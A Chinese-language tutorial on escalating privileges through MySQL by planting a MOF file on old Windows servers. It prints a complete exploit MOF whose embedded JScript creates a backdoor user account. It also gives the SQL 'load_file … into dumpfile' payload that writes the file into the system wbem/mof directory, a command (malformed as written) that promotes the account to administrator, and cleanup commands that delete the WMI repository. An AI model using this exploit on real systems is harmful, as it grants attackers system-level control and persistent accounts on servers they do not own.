MySQL提权之mof提权
mof提权原理
关于 mof 提权的原理其实很简单,就是利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。下面简单演示下 mof 提权的过程!
MOF提权的条件要求十分严苛:
1.windows 03及以下版本
2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
3.secure-file-priv参数不为null
MOF文件
托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。
提权原理
MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权
公开的nullevt.mof利用代码
1 #pragma namespace("\\\\.\\root\\subscription") 2 instance of __EventFilter as $EventFilter 3 { 4 EventNamespace = "Root\\Cimv2"; 5 Name = "filtP2"; 6 Query = "Select * From __InstanceModificationEvent " 7 "Where TargetInstance Isa \"Win32_LocalTime\" " 8 "And TargetInstance.Second = 5"; 9 QueryLanguage = "WQL"; 10 }; 11 instance of ActiveScriptEventConsumer as $Consumer 12 { 13 Name = "consPCSV2"; 14 ScriptingEngine = "JScript"; 15 ScriptText = 16 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")"; 17 }; 18 instance of __FilterToConsumerBinding 19 { 20 Consumer = $Consumer; 21 Filter = $EventFilter; 22 };
MOF文件利用
将上面的脚本上传到有读写权限的目录下:
这里我上传到了C:\Documents and Settings\test
根据前面的phpmyadmin,我们使用sql语句将文件导入到c:/windows/system32/wbem/mof/
下
payload:
select load_file("C:/Documents and Settings/testtest.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
值得一提的是,这里不能使用outfile,因为会在末端写入新行,因此mof在被当作二进制文件无法正常执行,所以我们用dumpfile导出一行数据。
验证提权
当我们成功把mof导出时,mof就会直接被执行,且5秒创建一次用户。
可以看到,我们在test的普通用户下直接添加了hpdoger用户。剩下的操作就是用户命令处,换成加入administrator语句即可:
net.exe user localgroup administrator hpdoger /add\
关于Mof提权的弊端
我们提权成功后,就算被删号,mof也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用。那么我们如何删掉我们的入侵账号呢?
cmd 下运行下面语句:
net stop winmgmt del c:/windows/system32/wbem/repository net start winmgmt
重启服务即可。